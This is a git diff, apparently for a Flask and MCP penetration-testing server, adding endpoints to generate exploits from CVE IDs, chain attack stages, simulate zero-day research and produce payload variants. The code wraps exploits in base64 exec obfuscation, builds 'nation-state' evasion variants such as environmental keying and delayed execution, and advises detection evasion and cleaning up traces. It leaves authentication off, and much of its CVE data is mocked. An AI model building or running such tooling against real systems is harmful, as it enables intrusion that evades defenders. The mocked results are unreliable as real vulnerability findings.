+ "parameter_name": target_info.get("parameter_name", "data")
+ })
+
+ return params
+
+ def _apply_evasion_techniques(self, exploit_code, target_info):
+ """Apply evasion techniques to exploit code"""
+ evasion_level = target_info.get("evasion_level", "basic")
+
+ if evasion_level == "basic":
+ # Simple string obfuscation
+ exploit_code = exploit_code.replace('"', "'")
+ exploit_code = f"# Obfuscated exploit\n{exploit_code}"
+ elif evasion_level == "advanced":
+ # Advanced obfuscation
+ exploit_code = self._advanced_obfuscation(exploit_code)
+
+ return exploit_code
+
+ def _advanced_obfuscation(self, code):
+ """Apply advanced obfuscation techniques"""
+ # This is a simplified version - real implementation would be more sophisticated
+ obfuscated = f"""
+# Advanced evasion techniques applied
+import base64
+exec(base64.b64decode('{base64.b64encode(code.encode()).decode()}'))
+ """
+ return obfuscated
+
+ def _generate_usage_instructions(self, vuln_type, params):
+ """Generate usage instructions for the exploit"""
+ instructions = [
+ f"# Exploit for CVE {params['cve_id']}",
+ f"# Vulnerability Type: {vuln_type}",
+ "",
+ "## Usage Instructions:",
+ "1. Ensure target is vulnerable to this CVE",
+ "2. Adjust target parameters as needed",
+ "3. Test in controlled environment first",
+ "4. Execute with appropriate permissions",
+ "",
+ "## Testing:",
+ f"python3 exploit.py {params.get('target_ip', '')} {params.get('target_port', '')}"
+ ]
+
+ if vuln_type == "buffer_overflow":
+ instructions.extend([
+ "",
+ "## Buffer Overflow Notes:",
+ f"- Offset: {params.get('offset', 'Unknown')}",
+ f"- Return address: {params.get('ret_address', 'Unknown')}",
+ "- Verify addresses match target binary",
+ "- Disable ASLR for testing: echo 0 > /proc/sys/kernel/randomize_va_space"
+ ])
+
+ return "\n".join(instructions)
+
+class VulnerabilityCorrelator:
+ """Correlate vulnerabilities for multi-stage attack chain discovery"""
+
+ def __init__(self):
+ self.attack_patterns = {
+ "privilege_escalation": ["local", "kernel", "suid", "sudo"],
+ "remote_execution": ["remote", "network", "rce", "code execution"],
+ "persistence": ["service", "registry", "scheduled", "startup"],
+ "lateral_movement": ["smb", "wmi", "ssh", "rdp"],
+ "data_exfiltration": ["file", "database", "memory", "network"]
+ }
+
+ self.software_relationships = {
+ "windows": ["iis", "office", "exchange", "sharepoint"],
+ "linux": ["apache", "nginx", "mysql", "postgresql"],
+ "web": ["php", "nodejs", "python", "java"],
+ "database": ["mysql", "postgresql", "oracle", "mssql"]
+ }
+
+ def find_attack_chains(self, target_software, max_depth=3):
+ """Find multi-vulnerability attack chains"""
+ try:
+ # This is a simplified implementation
+ # Real version would use graph algorithms and ML
+
+ chains = []
+
+ # Example attack chain discovery logic
+ base_software = target_software.lower()
+
+ # Find initial access vulnerabilities
+ initial_vulns = self._find_vulnerabilities_by_pattern(base_software, "remote_execution")
+
+ for initial_vuln in initial_vulns[:3]: # Limit for demo
+ chain = {
+ "chain_id": f"chain_{len(chains) + 1}",
+ "target": target_software,
+ "stages": [
+ {
+ "stage": 1,
+ "objective": "Initial Access",
+ "vulnerability": initial_vuln,
+ "success_probability": 0.75
+ }
+ ],
+ "overall_probability": 0.75,
+ "complexity": "MEDIUM"
+ }
+
+ # Find privilege escalation
+ priv_esc_vulns = self._find_vulnerabilities_by_pattern(base_software, "privilege_escalation")
+ if priv_esc_vulns:
+ chain["stages"].append({
+ "stage": 2,
+ "objective": "Privilege Escalation",
+ "vulnerability": priv_esc_vulns[0],
+ "success_probability": 0.60
+ })
+ chain["overall_probability"] *= 0.60
+
+ # Find persistence
+ persistence_vulns = self._find_vulnerabilities_by_pattern(base_software, "persistence")
+ if persistence_vulns and len(chain["stages"]) < max_depth:
+ chain["stages"].append({
+ "stage": 3,
+ "objective": "Persistence",
+ "vulnerability": persistence_vulns[0],
+ "success_probability": 0.80
+ })
+ chain["overall_probability"] *= 0.80
+
+ chains.append(chain)
+
+ return {
+ "success": True,
+ "target_software": target_software,
+ "total_chains": len(chains),
+ "attack_chains": chains,
+ "recommendation": self._generate_chain_recommendations(chains)
+ }
+
+ except Exception as e:
+ logger.error(f"Error finding attack chains: {str(e)}")
+ return {"success": False, "error": str(e)}
+
+ def _find_vulnerabilities_by_pattern(self, software, pattern_type):
+ """Find vulnerabilities matching attack pattern"""
+ # Simplified mock data - real implementation would query CVE database
+ mock_vulnerabilities = [
+ {
+ "cve_id": "CVE-2024-1234",
+ "description": f"Remote code execution in {software}",
+ "cvss_score": 9.8,
+ "exploitability": "HIGH"
+ },
+ {
+ "cve_id": "CVE-2024-5678",
+ "description": f"Privilege escalation in {software}",
+ "cvss_score": 7.8,
+ "exploitability": "MEDIUM"
+ }
+ ]
+
+ return mock_vulnerabilities
+
+ def _generate_chain_recommendations(self, chains):
+ """Generate recommendations for attack chains"""
+ if not chains:
+ return "No viable attack chains found for target"
+
+ recommendations = [
+ f"Found {len(chains)} potential attack chains",
+ f"Highest probability chain: {max(chains, key=lambda x: x['overall_probability'])['overall_probability']:.2%}",
+ "Recommendations:",
+ "- Test chains in order of probability",
+ "- Prepare fallback methods for each stage",
+ "- Consider detection evasion at each stage"
+ ]
+
+ return "\n".join(recommendations)
+
+# Global intelligence managers
+cve_intelligence = CVEIntelligenceManager()
+exploit_generator = AIExploitGenerator()
+vulnerability_correlator = VulnerabilityCorrelator()
+
def execute_command(command: str, use_cache: bool = True) -> Dict[str, Any]:
"""
Execute a shell command with enhanced features
@@ -3895,6 +4524,626 @@ def paramspider():
"error": f"Server error: {str(e)}"
}), 500
+# ============================================================================
+# ADVANCED VULNERABILITY INTELLIGENCE API ENDPOINTS (v6.0 ENHANCEMENT)
+# ============================================================================
+
+@app.route("/api/vuln-intel/cve-monitor", methods=["POST"])
+def cve_monitor():
+ """Monitor CVE databases for new vulnerabilities with AI analysis"""
+ try:
+ params = request.json
+ hours = params.get("hours", 24)
+ severity_filter = params.get("severity_filter", "HIGH,CRITICAL")
+ keywords = params.get("keywords", "")
+
+ logger.info(f"🔍 Monitoring CVE feeds for last {hours} hours with severity filter: {severity_filter}")
+
+ # Fetch latest CVEs
+ cve_results = cve_intelligence.fetch_latest_cves(hours, severity_filter)
+
+ # Filter by keywords if provided
+ if keywords and cve_results.get("success"):
+ keyword_list = [k.strip().lower() for k in keywords.split(",")]
+ filtered_cves = []
+
+ for cve in cve_results.get("cves", []):
+ description = cve.get("description", "").lower()
+ if any(keyword in description for keyword in keyword_list):
+ filtered_cves.append(cve)
+
+ cve_results["cves"] = filtered_cves
+ cve_results["filtered_by_keywords"] = keywords
+ cve_results["total_after_filter"] = len(filtered_cves)
+
+ # Analyze exploitability for top CVEs
+ exploitability_analysis = []
+ for cve in cve_results.get("cves", [])[:5]: # Analyze top 5 CVEs
+ cve_id = cve.get("cve_id", "")
+ if cve_id:
+ analysis = cve_intelligence.analyze_cve_exploitability(cve_id)
+ if analysis.get("success"):
+ exploitability_analysis.append(analysis)
+
+ result = {
+ "success": True,
+ "cve_monitoring": cve_results,
+ "exploitability_analysis": exploitability_analysis,
+ "timestamp": datetime.now().isoformat()
+ }
+
+ logger.info(f"📊 CVE monitoring completed | Found: {len(cve_results.get('cves', []))} CVEs")
+ return jsonify(result)
+
+ except Exception as e:
+ logger.error(f"💥 Error in CVE monitoring: {str(e)}")
+ return jsonify({
+ "success": False,
+ "error": f"Server error: {str(e)}"
+ }), 500
+
+@app.route("/api/vuln-intel/exploit-generate", methods=["POST"])
+def exploit_generate():
+ """Generate exploits from vulnerability data using AI"""
+ try:
+ params = request.json
+ cve_id = params.get("cve_id", "")
+ target_os = params.get("target_os", "")
+ target_arch = params.get("target_arch", "x64")
+ exploit_type = params.get("exploit_type", "poc")
+ evasion_level = params.get("evasion_level", "none")
+
+ # Additional target context
+ target_info = {
+ "target_os": target_os,
+ "target_arch": target_arch,
+ "exploit_type": exploit_type,
+ "evasion_level": evasion_level,
+ "target_ip": params.get("target_ip", "192.168.1.100"),
+ "target_port": params.get("target_port", 80),
+ "description": params.get("target_description", f"Target for {cve_id}")
+ }
+
+ if not cve_id:
+ logger.warning("🤖 Exploit generation called without CVE ID")
+ return jsonify({
+ "success": False,
+ "error": "CVE ID parameter is required"
+ }), 400
+
+ logger.info(f"🤖 Generating exploit for {cve_id} | Target: {target_os} {target_arch}")
+
+ # First analyze the CVE for context
+ cve_analysis = cve_intelligence.analyze_cve_exploitability(cve_id)
+
+ if not cve_analysis.get("success"):
+ return jsonify({
+ "success": False,
+ "error": f"Failed to analyze CVE {cve_id}: {cve_analysis.get('error', 'Unknown error')}"
+ }), 400
+
+ # Prepare CVE data for exploit generation
+ cve_data = {
+ "cve_id": cve_id,
+ "description": f"Vulnerability analysis for {cve_id}",
+ "exploitability_level": cve_analysis.get("exploitability_level", "UNKNOWN"),
+ "exploitability_score": cve_analysis.get("exploitability_score", 0)
+ }
+
+ # Generate exploit
+ exploit_result = exploit_generator.generate_exploit_from_cve(cve_data, target_info)
+
+ # Search for existing exploits for reference
+ existing_exploits = cve_intelligence.search_existing_exploits(cve_id)
+
+ result = {
+ "success": True,
+ "cve_analysis": cve_analysis,
+ "exploit_generation": exploit_result,
+ "existing_exploits": existing_exploits,
+ "target_info": target_info,
+ "timestamp": datetime.now().isoformat()
+ }
+
+ logger.info(f"🎯 Exploit generation completed for {cve_id}")
+ return jsonify(result)
+
+ except Exception as e:
+ logger.error(f"💥 Error in exploit generation: {str(e)}")
+ return jsonify({
+ "success": False,
+ "error": f"Server error: {str(e)}"
+ }), 500
+
+@app.route("/api/vuln-intel/attack-chains", methods=["POST"])
+def discover_attack_chains():
+ """Discover multi-stage attack possibilities"""
+ try:
+ params = request.json
+ target_software = params.get("target_software", "")
+ attack_depth = params.get("attack_depth", 3)
+ include_zero_days = params.get("include_zero_days", False)
+
+ if not target_software:
+ logger.warning("🔗 Attack chain discovery called without target software")
+ return jsonify({
+ "success": False,
+ "error": "Target software parameter is required"
+ }), 400
+
+ logger.info(f"🔗 Discovering attack chains for {target_software} | Depth: {attack_depth}")
+
+ # Discover attack chains
+ chain_results = vulnerability_correlator.find_attack_chains(target_software, attack_depth)
+
+ # Enhance with exploit generation for viable chains
+ if chain_results.get("success") and chain_results.get("attack_chains"):
+ enhanced_chains = []
+
+ for chain in chain_results["attack_chains"][:2]: # Enhance top 2 chains
+ enhanced_chain = chain.copy()
+ enhanced_stages = []
+
+ for stage in chain["stages"]:
+ enhanced_stage = stage.copy()
+
+ # Try to generate exploit for this stage
+ vuln = stage.get("vulnerability", {})
+ cve_id = vuln.get("cve_id", "")
+
+ if cve_id:
+ try:
+ cve_data = {"cve_id": cve_id, "description": vuln.get("description", "")}
+ target_info = {"target_os": "linux", "target_arch": "x64", "evasion_level": "basic"}
+
+ exploit_result = exploit_generator.generate_exploit_from_cve(cve_data, target_info)
+ enhanced_stage["exploit_available"] = exploit_result.get("success", False)
+
+ if exploit_result.get("success"):
+ enhanced_stage["exploit_code"] = exploit_result.get("exploit_code", "")[:500] + "..."
+ except:
+ enhanced_stage["exploit_available"] = False
+
+ enhanced_stages.append(enhanced_stage)
+
+ enhanced_chain["stages"] = enhanced_stages
+ enhanced_chains.append(enhanced_chain)
+
+ chain_results["enhanced_chains"] = enhanced_chains
+
+ result = {
+ "success": True,
+ "attack_chain_discovery": chain_results,
+ "parameters": {
+ "target_software": target_software,
+ "attack_depth": attack_depth,
+ "include_zero_days": include_zero_days
+ },
+ "timestamp": datetime.now().isoformat()
+ }
+
+ logger.info(f"🎯 Attack chain discovery completed | Found: {len(chain_results.get('attack_chains', []))} chains")
+ return jsonify(result)
+
+ except Exception as e:
+ logger.error(f"💥 Error in attack chain discovery: {str(e)}")
+ return jsonify({
+ "success": False,
+ "error": f"Server error: {str(e)}"
+ }), 500
+
+@app.route("/api/vuln-intel/threat-feeds", methods=["POST"])
+def threat_intelligence_feeds():
+ """Aggregate and correlate threat intelligence from multiple sources"""
+ try:
+ params = request.json
+ indicators = params.get("indicators", [])
+ timeframe = params.get("timeframe", "30d")
+ sources = params.get("sources", "all")
+
+ if isinstance(indicators, str):
+ indicators = [i.strip() for i in indicators.split(",")]
+
+ if not indicators:
+ logger.warning("🧠 Threat intelligence called without indicators")
+ return jsonify({
+ "success": False,
+ "error": "Indicators parameter is required"
+ }), 400
+
+ logger.info(f"🧠 Correlating threat intelligence for {len(indicators)} indicators")
+
+ correlation_results = {
+ "indicators_analyzed": indicators,
+ "timeframe": timeframe,
+ "sources": sources,
+ "correlations": [],
+ "threat_score": 0,
+ "recommendations": []
+ }
+
+ # Analyze each indicator
+ cve_indicators = [i for i in indicators if i.startswith("CVE-")]
+ ip_indicators = [i for i in indicators if i.replace(".", "").isdigit()]
+ hash_indicators = [i for i in indicators if len(i) in [32, 40, 64] and all(c in "0123456789abcdef" for c in i.lower())]
+
+ # Process CVE indicators
+ for cve_id in cve_indicators:
+ try:
+ cve_analysis = cve_intelligence.analyze_cve_exploitability(cve_id)
+ if cve_analysis.get("success"):
+ correlation_results["correlations"].append({
+ "indicator": cve_id,
+ "type": "cve",
+ "analysis": cve_analysis,
+ "threat_level": cve_analysis.get("exploitability_level", "UNKNOWN")
+ })
+
+ # Add to threat score
+ exploit_score = cve_analysis.get("exploitability_score", 0)
+ correlation_results["threat_score"] += min(exploit_score, 100)
+
+ # Search for existing exploits
+ exploits = cve_intelligence.search_existing_exploits(cve_id)
+ if exploits.get("success") and exploits.get("total_exploits", 0) > 0:
+ correlation_results["correlations"].append({
+ "indicator": cve_id,
+ "type": "exploit_availability",
+ "exploits_found": exploits.get("total_exploits", 0),
+ "threat_level": "HIGH"
+ })
+ correlation_results["threat_score"] += 25
+
+ except Exception as e:
+ logger.warning(f"Error analyzing CVE {cve_id}: {str(e)}")
+
+ # Process IP indicators (basic reputation check simulation)
+ for ip in ip_indicators:
+ # Simulate threat intelligence lookup
+ correlation_results["correlations"].append({
+ "indicator": ip,
+ "type": "ip_reputation",
+ "analysis": {
+ "reputation": "unknown",
+ "geolocation": "unknown",
+ "associated_threats": []
+ },
+ "threat_level": "MEDIUM" # Default for unknown IPs
+ })
+
+ # Process hash indicators
+ for hash_val in hash_indicators:
+ correlation_results["correlations"].append({
+ "indicator": hash_val,
+ "type": "file_hash",
+ "analysis": {
+ "hash_type": f"hash{len(hash_val)}",
+ "malware_family": "unknown",
+ "detection_rate": "unknown"
+ },
+ "threat_level": "MEDIUM"
+ })
+
+ # Calculate overall threat score and generate recommendations
+ total_indicators = len(indicators)
+ if total_indicators > 0:
+ correlation_results["threat_score"] = min(correlation_results["threat_score"] / total_indicators, 100)
+
+ if correlation_results["threat_score"] >= 75:
+ correlation_results["recommendations"] = [
+ "Immediate threat response required",
+ "Block identified indicators",
+ "Enhance monitoring for related IOCs",
+ "Implement emergency patches for identified CVEs"
+ ]
+ elif correlation_results["threat_score"] >= 50:
+ correlation_results["recommendations"] = [
+ "Elevated threat level detected",
+ "Increase monitoring for identified indicators",
+ "Plan patching for identified vulnerabilities",
+ "Review security controls"
+ ]
+ else:
+ correlation_results["recommendations"] = [
+ "Low to medium threat level",
+ "Continue standard monitoring",
+ "Plan routine patching",
+ "Consider additional threat intelligence sources"
+ ]
+
+ result = {
+ "success": True,
+ "threat_intelligence": correlation_results,
+ "timestamp": datetime.now().isoformat()
+ }
+
+ logger.info(f"🎯 Threat intelligence correlation completed | Threat Score: {correlation_results['threat_score']:.1f}")
+ return jsonify(result)
+
+ except Exception as e:
+ logger.error(f"💥 Error in threat intelligence: {str(e)}")
+ return jsonify({
+ "success": False,
+ "error": f"Server error: {str(e)}"
+ }), 500
+
+@app.route("/api/vuln-intel/zero-day-research", methods=["POST"])
+def zero_day_research():
+ """Automated zero-day vulnerability research using AI analysis"""
+ try:
+ params = request.json
+ target_software = params.get("target_software", "")
+ analysis_depth = params.get("analysis_depth", "standard")
+ source_code_url = params.get("source_code_url", "")
+
+ if not target_software:
+ logger.warning("🔬 Zero-day research called without target software")
+ return jsonify({
+ "success": False,
+ "error": "Target software parameter is required"
+ }), 400
+
+ logger.info(f"🔬 Starting zero-day research for {target_software} | Depth: {analysis_depth}")
+
+ research_results = {
+ "target_software": target_software,
+ "analysis_depth": analysis_depth,
+ "research_areas": [],
+ "potential_vulnerabilities": [],
+ "risk_assessment": {},
+ "recommendations": []
+ }
+
+ # Define research areas based on software type
+ common_research_areas = [
+ "Input validation vulnerabilities",
+ "Memory corruption issues",
+ "Authentication bypasses",
+ "Authorization flaws",
+ "Cryptographic weaknesses",
+ "Race conditions",
+ "Logic flaws"
+ ]
+
+ # Software-specific research areas
+ web_research_areas = [
+ "Cross-site scripting (XSS)",
+ "SQL injection",
+ "Server-side request forgery (SSRF)",
+ "Insecure deserialization",
+ "Template injection"
+ ]
+
+ system_research_areas = [
+ "Buffer overflows",
+ "Privilege escalation",
+ "Kernel vulnerabilities",
+ "Service exploitation",
+ "Configuration weaknesses"
+ ]
+
+ # Determine research areas based on target
+ target_lower = target_software.lower()
+ if any(web_tech in target_lower for web_tech in ["apache", "nginx", "tomcat", "php", "node", "django"]):
+ research_results["research_areas"] = common_research_areas + web_research_areas
+ elif any(sys_tech in target_lower for sys_tech in ["windows", "linux", "kernel", "driver"]):
+ research_results["research_areas"] = common_research_areas + system_research_areas
+ else:
+ research_results["research_areas"] = common_research_areas
+
+ # Simulate vulnerability discovery based on analysis depth
+ vuln_count = {"quick": 2, "standard": 4, "comprehensive": 6}.get(analysis_depth, 4)
+
+ for i in range(vuln_count):
+ potential_vuln = {
+ "id": f"RESEARCH-{target_software.upper()}-{i+1:03d}",
+ "category": research_results["research_areas"][i % len(research_results["research_areas"])],
+ "severity": ["LOW", "MEDIUM", "HIGH", "CRITICAL"][i % 4],
+ "confidence": ["LOW", "MEDIUM", "HIGH"][i % 3],
+ "description": f"Potential {research_results['research_areas'][i % len(research_results['research_areas'])].lower()} in {target_software}",
+ "attack_vector": "To be determined through further analysis",
+ "impact": "To be assessed",
+ "proof_of_concept": "Research phase - PoC development needed"
+ }
+ research_results["potential_vulnerabilities"].append(potential_vuln)
+
+ # Risk assessment
+ high_risk_count = sum(1 for v in research_results["potential_vulnerabilities"] if v["severity"] in ["HIGH", "CRITICAL"])
+ total_vulns = len(research_results["potential_vulnerabilities"])
+
+ research_results["risk_assessment"] = {
+ "total_areas_analyzed": len(research_results["research_areas"]),
+ "potential_vulnerabilities_found": total_vulns,
+ "high_risk_findings": high_risk_count,
+ "risk_score": min((high_risk_count * 25 + (total_vulns - high_risk_count) * 10), 100),
+ "research_confidence": analysis_depth
+ }
+
+ # Generate recommendations
+ if high_risk_count > 0:
+ research_results["recommendations"] = [
+ "Prioritize security testing in identified high-risk areas",
+ "Conduct focused penetration testing",
+ "Implement additional security controls",
+ "Consider bug bounty program for target software",
+ "Perform code review in identified areas"
+ ]
+ else:
+ research_results["recommendations"] = [
+ "Continue standard security testing",
+ "Monitor for new vulnerability research",
+ "Implement defense-in-depth strategies",
+ "Regular security assessments recommended"
+ ]
+
+ # Source code analysis simulation
+ if source_code_url:
+ research_results["source_code_analysis"] = {
+ "repository_url": source_code_url,
+ "analysis_status": "simulated",
+ "findings": [
+ "Static analysis patterns identified",
+ "Potential code quality issues detected",
+ "Security-relevant functions located"
+ ],
+ "recommendation": "Manual code review recommended for identified areas"
+ }
+
+ result = {
+ "success": True,
+ "zero_day_research": research_results,
+ "disclaimer": "This is simulated research for demonstration. Real zero-day research requires extensive manual analysis.",
+ "timestamp": datetime.now().isoformat()
+ }
+
+ logger.info(f"🎯 Zero-day research completed | Risk Score: {research_results['risk_assessment']['risk_score']}")
+ return jsonify(result)
+
+ except Exception as e:
+ logger.error(f"💥 Error in zero-day research: {str(e)}")
+ return jsonify({
+ "success": False,
+ "error": f"Server error: {str(e)}"
+ }), 500
+
+@app.route("/api/ai/advanced-payload-generation", methods=["POST"])
+def advanced_payload_generation():
+ """Generate advanced payloads with AI-powered evasion techniques"""
+ try:
+ params = request.json
+ attack_type = params.get("attack_type", "rce")
+ target_context = params.get("target_context", "")
+ evasion_level = params.get("evasion_level", "standard")
+ custom_constraints = params.get("custom_constraints", "")
+
+ if not attack_type:
+ logger.warning("🎯 Advanced payload generation called without attack type")
+ return jsonify({
+ "success": False,
+ "error": "Attack type parameter is required"
+ }), 400
+
+ logger.info(f"🎯 Generating advanced {attack_type} payload with {evasion_level} evasion")
+
+ # Enhanced payload generation with contextual AI
+ target_info = {
+ "attack_type": attack_type,
+ "complexity": "advanced",
+ "technology": target_context,
+ "evasion_level": evasion_level,
+ "constraints": custom_constraints
+ }
+
+ # Generate base payloads using existing AI system
+ base_result = ai_payload_generator.generate_contextual_payload(target_info)
+
+ # Enhance with advanced techniques
+ advanced_payloads = []
+
+ for payload_info in base_result.get("payloads", [])[:10]: # Limit to 10 advanced payloads
+ enhanced_payload = {
+ "payload": payload_info["payload"],
+ "original_context": payload_info["context"],
+ "risk_level": payload_info["risk_level"],
+ "evasion_techniques": [],
+ "deployment_methods": []
+ }
+
+ # Apply evasion techniques based on level
+ if evasion_level in ["advanced", "nation-state"]:
+ # Advanced encoding techniques
+ encoded_variants = [
+ {
+ "technique": "Double URL Encoding",
+ "payload": payload_info["payload"].replace("%", "%25").replace(" ", "%2520")
+ },
+ {
+ "technique": "Unicode Normalization",
+ "payload": payload_info["payload"].replace("script", "scr\u0131pt")
+ },
+ {
+ "technique": "Case Variation",
+ "payload": "".join(c.upper() if i % 2 else c.lower() for i, c in enumerate(payload_info["payload"]))
+ }
+ ]
+ enhanced_payload["evasion_techniques"].extend(encoded_variants)
+
+ if evasion_level == "nation-state":
+ # Nation-state level techniques
+ advanced_techniques = [
+ {
+ "technique": "Polyglot Payload",
+ "payload": f"/*{payload_info['payload']}*/ OR {payload_info['payload']}"
+ },
+ {
+ "technique": "Time-delayed Execution",
+ "payload": f"setTimeout(function(){{{payload_info['payload']}}}, 1000)"
+ },
+ {
+ "technique": "Environmental Keying",
+ "payload": f"if(navigator.userAgent.includes('specific')){{ {payload_info['payload']} }}"
+ }
+ ]
+ enhanced_payload["evasion_techniques"].extend(advanced_techniques)
+
+ # Deployment methods
+ enhanced_payload["deployment_methods"] = [
+ "Direct injection",
+ "Parameter pollution",
+ "Header injection",
+ "Cookie manipulation",
+ "Fragment-based delivery"
+ ]
+
+ advanced_payloads.append(enhanced_payload)
+
+ # Generate deployment instructions
+ deployment_guide = {
+ "pre_deployment": [
+ "Reconnaissance of target environment",
+ "Identification of input validation mechanisms",
+ "Analysis of security controls (WAF, IDS, etc.)",
+ "Selection of appropriate evasion techniques"
+ ],
+ "deployment": [
+ "Start with least detectable payloads",
+ "Monitor for defensive responses",
+ "Escalate evasion techniques as needed",
+ "Document successful techniques for future use"
+ ],
+ "post_deployment": [
+ "Monitor for payload execution",
+ "Clean up traces if necessary",
+ "Document findings",
+ "Report vulnerabilities responsibly"
+ ]
+ }
+
+ result = {
+ "success": True,
+ "advanced_payload_generation": {
+ "attack_type": attack_type,
+ "evasion_level": evasion_level,
+ "target_context": target_context,
+ "payload_count": len(advanced_payloads),
+ "advanced_payloads": advanced_payloads,
+ "deployment_guide": deployment_guide,
+ "custom_constraints_applied": custom_constraints if custom_constraints else "none"
+ },
+ "disclaimer": "These payloads are for authorized security testing only. Ensure proper authorization before use.",
+ "timestamp": datetime.now().isoformat()
+ }
+
+ logger.info(f"🎯 Advanced payload generation completed | Generated: {len(advanced_payloads)} payloads")
+ return jsonify(result)
+
+ except Exception as e:
+ logger.error(f"💥 Error in advanced payload generation: {str(e)}")
+ return jsonify({
+ "success": False,
+ "error": f"Server error: {str(e)}"
+ }), 500
+
if __name__ == "__main__":
print(f"{Colors.RED}{Colors.BOLD}{BANNER}{Colors.RESET}")
diff --git a/requirements.txt b/requirements.txt
index ebb431b..ab04fb9 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -2,3 +2,9 @@ flask>=2.3.0
psutil>=5.9.0
requests>=2.31.0
fastmcp>=0.2.0
+# Advanced Vulnerability Intelligence Dependencies
+nvdlib>=0.7.0
+feedparser>=6.0.10
+python-dateutil>=2.8.2
+beautifulsoup4>=4.12.0
+lxml>=4.9.3
diff --git a/vuln_intel_config.json b/vuln_intel_config.json
new file mode 100644
index 0000000..c82eec3
--- /dev/null
+++ b/vuln_intel_config.json
@@ -0,0 +1,102 @@
+{
+ "vulnerability_intelligence": {
+ "enabled": true,
+ "description": "Advanced vulnerability intelligence and exploit generation system",
+ "version": "6.0",
+ "features": {
+ "cve_monitoring": {
+ "enabled": true,
+ "default_hours": 24,
+ "default_severity": "HIGH,CRITICAL",
+ "max_results": 100,
+ "cache_ttl": 3600
+ },
+ "exploit_generation": {
+ "enabled": true,
+ "supported_types": ["poc", "weaponized", "stealth"],
+ "supported_architectures": ["x86", "x64", "arm"],
+ "supported_os": ["windows", "linux", "macos"],
+ "evasion_levels": ["none", "basic", "advanced"]
+ },
+ "attack_chains": {
+ "enabled": true,
+ "max_depth": 5,
+ "default_depth": 3,
+ "include_zero_days": false
+ },
+ "threat_intelligence": {
+ "enabled": true,
+ "supported_sources": ["cve", "exploit-db", "github", "twitter"],
+ "timeframes": ["7d", "30d", "90d", "1y"],
+ "max_indicators": 50
+ },
+ "advanced_payloads": {
+ "enabled": true,
+ "attack_types": ["rce", "privilege_escalation", "persistence", "exfiltration", "xss", "sqli", "lfi", "ssrf"],
+ "evasion_levels": ["basic", "standard", "advanced", "nation-state"],
+ "max_payload_size": 10240
+ },
+ "zero_day_research": {
+ "enabled": true,
+ "analysis_depths": ["quick", "standard", "comprehensive"],
+ "max_vulnerabilities": 10
+ }
+ },
+ "api_endpoints": {
+ "cve_monitor": "/api/vuln-intel/cve-monitor",
+ "exploit_generate": "/api/vuln-intel/exploit-generate",
+ "attack_chains": "/api/vuln-intel/attack-chains",
+ "threat_feeds": "/api/vuln-intel/threat-feeds",
+ "zero_day_research": "/api/vuln-intel/zero-day-research",
+ "advanced_payloads": "/api/ai/advanced-payload-generation"
+ },
+ "rate_limits": {
+ "cve_monitor": "10/hour",
+ "exploit_generate": "5/hour",
+ "attack_chains": "3/hour",
+ "threat_feeds": "20/hour",
+ "zero_day_research": "2/hour",
+ "advanced_payloads": "15/hour"
+ },
+ "security": {
+ "require_authentication": false,
+ "log_all_requests": true,
+ "sanitize_outputs": true,
+ "disclaimer_required": true
+ }
+ },
+ "mcp_tools": {
+ "monitor_cve_feeds": {
+ "description": "Monitor CVE databases for new vulnerabilities with AI analysis",
+ "parameters": ["hours", "severity_filter", "keywords"]
+ },
+ "generate_exploit_from_cve": {
+ "description": "Generate working exploits from CVE information using AI",
+ "parameters": ["cve_id", "target_os", "target_arch", "exploit_type", "evasion_level"]
+ },
+ "discover_attack_chains": {
+ "description": "Discover multi-stage attack chains with vulnerability correlation",
+ "parameters": ["target_software", "attack_depth", "include_zero_days"]
+ },
+ "research_zero_day_opportunities": {
+ "description": "Automated zero-day vulnerability research using AI analysis",
+ "parameters": ["target_software", "analysis_depth", "source_code_url"]
+ },
+ "correlate_threat_intelligence": {
+ "description": "Correlate threat intelligence across multiple sources",
+ "parameters": ["indicators", "timeframe", "sources"]
+ },
+ "advanced_payload_generation": {
+ "description": "Generate advanced payloads with AI-powered evasion techniques",
+ "parameters": ["attack_type", "target_context", "evasion_level", "custom_constraints"]
+ },
+ "vulnerability_intelligence_dashboard": {
+ "description": "Get comprehensive vulnerability intelligence dashboard",
+ "parameters": []
+ },
+ "threat_hunting_assistant": {
+ "description": "AI-powered threat hunting assistant with vulnerability correlation",
+ "parameters": ["target_environment", "threat_indicators", "hunt_focus"]
+ }
+ }
+}
\ No newline at end of file